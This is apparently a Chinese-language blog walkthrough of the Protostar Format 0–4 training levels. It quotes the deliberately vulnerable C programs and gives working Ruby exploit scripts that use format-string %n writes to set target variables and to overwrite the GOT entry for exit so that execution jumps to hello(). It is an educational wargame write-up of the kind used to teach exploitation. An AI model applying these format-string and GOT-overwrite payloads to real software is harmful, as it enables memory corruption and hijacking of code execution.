Protostar Format 0-4 Walkthrough

所有的 ruby 脚本已经放在了这里


Protostar

☞ Protostar

Protostar introduces the following in a friendly way:

  • Network programming
  • Byte order
  • Handling sockets
  • Stack overflows
  • Format strings
  • Heap overflows
  • The above is introduced in a simple way, starting with simple memory corruption and modification, function redirection, and finally executing custom shellcode.

In order to make this as easy as possible to introduce Address Space Layout Randomisation and Non-Executable memory has been disabled. If you are interested in covering ASLR and NX memory, please see the Fusion page.


Format Zero

This level introduces format strings, and how attacker supplied format strings can modify the execution flow of programs.

Hints

  • This level should be done in less than 10 bytes of input.
  • “Exploiting format string vulnerabilities”

This level is at /opt/protostar/bin/format0

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

总感觉这其实算 Stack 的题x

没有太多能说的..

#!/usr/bin/ruby

padding = "%64d";
deadbeef = "\xef\xbe\xad\xde";

command = <<-END
/opt/protostar/bin/format0 #{padding + deadbeef}
END

puts `#{command}`

唯一需要说明的就是 %64d 的作用是对 char buffer[64] 填充 64 个空格进行占位


Format One

由于比较奇怪所以放在了这里


Format Two

This level moves on from format1 and shows how specific values can be written in memory.

This level is at /opt/protostar/bin/format2

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);
  
  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

首先依然是用 objdump 来找到 target 的地址,是 0x080496e4

接下来需要知道我们输入的数据被存在了栈的哪里

user@protostar:/tmp/format$ /opt/protostar/bin/format2
ABCD%08x|%08x|%08x|%08x|%08x|%08x
ABCD00000200|b7fd8420|bffff5d4|44434241|78383025|3830257c
target is 0 :(

可以看到 ABCD 的 ASCII 也就是 44434241 出现在了第 4 个 %08x

target = "\xe4\x96\x04\x08"
stdin = target + "%60x%4$n"
# echo 使用单引号,避免把 %4$n 解析成变量
command = "echo '#{stdin}' | /opt/protostar/bin/format2"
puts `#{command}`

target 也就是 \xe4\x96\x04\x08 是 4 bytes 再加上 60 个 bytes 的话也就是 64 了

所以使用 %60x%4$n

  • %60x 打印 60 个 bytes
  • %4$n 选取第 4 个参数(也就是上面说 ABCD 出现在第 4 个 %08x)写入「当前打印了多少字符」


Format Three

This level advances from format2 and shows how to write more than 1 or 2 bytes of memory to the process. This also teaches you to carefully control what data is being written to the process memory.

This level is at /opt/protostar/bin/format3

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

objdump 找到 target 的地址是 0x080496f4

我们的目标是让这个地址上的值为 0x01025544

user@protostar:/tmp/format$ /opt/protostar/bin/format3
ABCD%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x
ABCD00000000|bffff590|b7fd7ff4|00000000|00000000|bffff798|0804849d|bffff590|00000200|b7fd8420|bffff5d4|44434241|78383025|3830257c|30257c78|257c7838
target is 00000000 :(

可见 ABCD 出现在第 12 个 %08x,可以稍后替换成我们所需要的地址

所以可以使用 %12$n 来选取第 12 个参数

0x01025544 这个值其实可以分成三步来写:

  1. 0x080496f4 写入 0x44 也就是十进制 68
  2. 0x080496f5 写入 0x55 也就是十进制 85
  3. 0x080496f6 写入 0x0102 也就是十进制 258

为什么是写 0x0102 而不是分成两个来写呢?

因为我们只能用 %n 来写入,而 %n 写入的值是「当前打印了多少字符」

所以下一个值永远只能大于上一个值

如果直接写0x02 的话就小于 0x55,是无法做到的

target = "\xf4\x96\x04\x08" + "\xf5\x96\x04\x08" + "\xf6\x96\x04\x08"

# 68 = 56 + 12,这里的 12 是因为 target 已经有 12 bytes 了
f4 = "%56x" + "%12$n" # 但这里的 12 是因为上文提到 ABCD 出现在第 12 个参数
# 85 = 68 + 17
f5 = "%17x" + "%13$n"
# 258 = 85 + 173
f6 = "%173x" + "%14$n"

# echo 使用单引号,避免把 %?$n 解析成变量
command = <<-END
echo '#{target}#{f4+f5+f6}' | /opt/protostar/bin/format3
END
puts command
puts `#{command}`


Format Four

format4 looks at one method of redirecting execution in a process.

Hints:

  • objdump -TR is your friend

This level is at /opt/protostar/bin/format4

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);  
}

int main(int argc, char **argv)
{
  vuln();
}

user@protostar:/tmp/format$ objdump -TR /opt/protostar/bin/format4

/opt/protostar/bin/format4:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  w   D  *UND*	00000000              __gmon_start__
00000000      DF *UND*	00000000  GLIBC_2.0   fgets
00000000      DF *UND*	00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*	00000000  GLIBC_2.0   _exit
00000000      DF *UND*	00000000  GLIBC_2.0   printf
00000000      DF *UND*	00000000  GLIBC_2.0   puts
00000000      DF *UND*	00000000  GLIBC_2.0   exit
080485ec g    DO .rodata	00000004  Base        _IO_stdin_used
08049730 g    DO .bss	00000004  GLIBC_2.0   stdin


DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
080496fc R_386_GLOB_DAT    __gmon_start__
08049730 R_386_COPY        stdin
0804970c R_386_JUMP_SLOT   __gmon_start__
08049710 R_386_JUMP_SLOT   fgets
08049714 R_386_JUMP_SLOT   __libc_start_main
08049718 R_386_JUMP_SLOT   _exit
0804971c R_386_JUMP_SLOT   printf
08049720 R_386_JUMP_SLOT   puts
08049724 R_386_JUMP_SLOT   exit

DYNAMIC RELOCATION RECORDS 中,GLIBC exit 函数实际指向的地址是 0x08049724

所以目标就是在 0x08049724 写入 void hello() 的地址,也就是 0x080484b4

user@protostar:/tmp/format$ /opt/protostar/bin/format4
ABCD%08x|%08x|%08x|%08x|%08x|%08x
ABCD00000200|b7fd8420|bffff5d4|44434241|78383025|3830257c

ABCD 出现在第 4 个参数

接下来考虑一下如何写入 0x080484b4 这个值

可以分为三步:

  1. 0x08049724 写入 0xb4 也就是十进制 180
  2. 因为第二个值只能大于第一个值,所以在 0x08049725 写入 0x0484 也就是十进制 1156
  3. 因为第三个值只能大于第二个值,而 0x08 怎么看都小于 0x0484,所以可以写入 0x050805 是随便的一个数字,目标仅仅只是让整个值大于第二个。同时我们并不关心这里的 0x05 到底被写哪去了,我们只需要使 0x08049727 这个 byte 上确实是 0x08 就可以了。以及 0x0508 的十进制是 1288
target = '\x24\x97\x04\x08' + '\x25\x97\x04\x08' + '\x27\x97\x04\x08'

# 180 = 168 + 12:target 已经是 12 bytes 了
h24 = "%168x" + "%4$n"
# 1156 = 976 + 180
h25 = "%976x" + "%5$n"
# 1288 = 1156 + 132
h27 = "%132x" + "%6$n"

command = <<-END
ruby -e 'puts "#{target}#{h24+h25+h27}"' | /opt/protostar/bin/format4
END

puts command

system(command)

这里有个很奇怪的问题,也就是 target 中的 \x27 对应着 ASCII 中的单引号,结果会让 echo 以为语句已经结束了…

解决办法姑且是换成 ruby -e

但还有个很奇怪的问题,如果要执行的语句里含有 ruby -e 那么 puts `#{command}` 是完全没有任何输出的…甚至可能没有执行

所以只能换成 system(command)

顺带一提 puts `#{command}` 的 Markdown 语法是

``puts `#{command}` ``

Senri Nya~ | Since July 2021
visits
Built with Hugo
Theme Stack designed by Jimmy